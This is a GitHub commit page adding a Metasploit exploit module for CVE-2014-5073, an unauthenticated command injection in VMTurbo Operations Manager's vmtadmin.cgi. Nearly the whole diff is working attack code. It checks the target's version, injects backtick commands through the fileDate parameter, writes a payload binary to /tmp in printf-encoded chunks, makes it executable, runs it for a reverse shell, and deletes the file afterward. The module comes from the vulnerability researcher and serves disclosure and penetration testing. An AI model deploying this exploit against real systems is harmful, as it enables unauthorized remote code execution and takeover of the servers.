Skip to content

Commit 0138f36

Browse files
committed
Add VMTurbo Operations Manager 'vmtadmin.cgi' Remote Command Execution module.
1 parent 351b687 commit 0138f36

File tree

1 file changed

+222
-0
lines changed

1 file changed

+222
-0
lines changed
Lines changed: 222 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::EXE
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'VMTurbo Operations Manager 4.6 vmtadmin.cgi Remote Command Execution',
17+
'Description' => %q{
18+
VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated
19+
OS Command injection in the web interface. Use reverse payloads for the most
20+
reliable results. Since it is a blind OS command injection vulnerability,
21+
there is no output for the executed command when using the cmd generic payload.
22+
Port binding payloads are disregarded due to the restrictive firewall settings.
23+
24+
This module has been tested successfully on VMTurbo Operations Manager 4.5 and
25+
VMTurbo Operations Manager 4.6.
26+
},
27+
'Author' =>
28+
[
29+
'Emilio Pinna, Secunia Research <[email protected]>', # Vulnerability discovery and Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
['CVE', '2014-5073'],
35+
['OSVDB', '109572'],
36+
['URL', 'http://secunia.com/secunia_research/2014-8/']
37+
],
38+
'DisclosureDate' => 'Jun 25 2014',
39+
'Privileged' => false,
40+
'Platform' => %w{ linux unix },
41+
'Payload' =>
42+
{
43+
'Compat' =>
44+
{
45+
'ConnectionType' => '-bind'
46+
}
47+
},
48+
'Targets' =>
49+
[
50+
[ 'Unix CMD',
51+
{
52+
'Arch' => ARCH_CMD,
53+
'Platform' => 'unix'
54+
}
55+
],
56+
[ 'VMTurbo Operations Manager',
57+
{
58+
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
59+
'Platform' => 'linux'
60+
}
61+
],
62+
],
63+
'DefaultTarget' => 1
64+
))
65+
end
66+
67+
def check
68+
begin
69+
res = send_request_cgi({
70+
'method' => 'GET',
71+
'uri' => "/cgi-bin/vmtadmin.cgi",
72+
'vars_get' => {
73+
"callType" => "ACTION",
74+
"actionType" => "VERSIONS"
75+
}
76+
})
77+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
78+
print_error("#{rhost}:#{rport} - Failed to connect to the web server")
79+
return Exploit::CheckCode::Unknown
80+
end
81+
82+
if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/
83+
version = $2
84+
build = $1
85+
86+
print_status("#{peer} - VMTurbo Operations Manager version #{version} build #{build} detected")
87+
else
88+
print_status("#{peer} - Unexpected vmtadmin.cgi response")
89+
return Exploit::CheckCode::Unknown
90+
end
91+
92+
if version and version <= "4.6"
93+
return Exploit::CheckCode::Appears
94+
else
95+
return Exploit::CheckCode::Safe
96+
end
97+
end
98+
99+
def request(cmd)
100+
begin
101+
res = send_request_cgi({
102+
'uri' => '/cgi-bin/vmtadmin.cgi',
103+
'method' => 'GET',
104+
'vars_get' => {
105+
"callType" => "DOWN",
106+
"actionType" => "CFGBACKUP",
107+
"fileDate" => "\"`#{cmd}`\""
108+
}
109+
})
110+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
111+
print_error("#{rhost}:#{rport} - Failed to connect to the web server")
112+
return nil
113+
end
114+
vprint_status("Sent command #{cmd}")
115+
res
116+
end
117+
118+
119+
def unix_stager(data)
120+
121+
file_name = "/tmp/#{rand_text_alphanumeric(4+rand(4))}"
122+
123+
File.open(file_name, 'wb') { |f| f.write(data) }
124+
unix_upload(file_name, data)
125+
@to_delete = file_name
126+
127+
request("/bin/chmod +x #{file_name}")
128+
request("#{file_name}&")
129+
end
130+
131+
def unix_upload(file_name, data, append=false)
132+
# This file uploader is used as early stager and follows the core
133+
# function _write_file_unix_shell() in lib/msf/core/post/file.rb
134+
135+
redirect = (append ? '>>' : '>')
136+
137+
# Short-circuit an empty string. The : builtin is part of posix
138+
# standard and should theoretically exist everywhere.
139+
if data.length == 0
140+
request(": #{redirect} #{file_name}")
141+
return
142+
end
143+
144+
d = data.dup
145+
d.force_encoding('binary') if d.respond_to? :force_encoding
146+
147+
chunks = []
148+
command = nil
149+
cmd_name = ''
150+
151+
# Conservative.
152+
line_max = 512
153+
# Leave plenty of room for the filename we're writing to and the
154+
# command to echo it out
155+
line_max -= file_name.length
156+
line_max -= 64
157+
158+
command = %q(/usr/bin/printf 'CONTENTS')
159+
160+
# each byte will balloon up to 4 when we encode
161+
# (A becomes \x41 or \101)
162+
max = line_max / 4
163+
164+
i = 0
165+
while i < d.length
166+
slice = d.slice(i...(i + max))
167+
chunks << Rex::Text.to_octal(slice)
168+
i += max
169+
end
170+
171+
print_status("Sending payload to #{file_name} writing #{d.length} bytes in #{chunks.length} chunks of #{chunks.first.length} bytes")
172+
173+
# The first command needs to use the provided redirection for either
174+
# appending or truncating.
175+
cmd = command.sub('CONTENTS') { chunks.shift }
176+
request("#{cmd} #{redirect} '#{file_name}'")
177+
178+
# After creating/truncating or appending with the first command, we
179+
# need to append from here on out.
180+
chunks.each { |chunk|
181+
vprint_status("Next chunk is #{chunk.length} bytes")
182+
cmd = command.sub('CONTENTS') { chunk }
183+
184+
request("#{cmd} >> '#{file_name}'")
185+
}
186+
true
187+
end
188+
189+
def exploit
190+
191+
#
192+
# Handle single command shot
193+
#
194+
if target.name =~ /CMD/
195+
cmd = payload.encoded
196+
res = request(cmd)
197+
198+
unless res
199+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
200+
end
201+
202+
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown exploitation state")
203+
return
204+
end
205+
206+
@pl = generate_payload_exe
207+
208+
unless @pl
209+
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Please set payload before to run exploit.")
210+
return
211+
end
212+
213+
unix_stager(@pl)
214+
end
215+
216+
def on_new_session(client)
217+
return unless defined? @to_delete
218+
219+
print_warning("Deleting #{@to_delete} payload file")
220+
request("/bin/rm #{@to_delete}")
221+
end
222+
end

0 commit comments

Comments
 (0)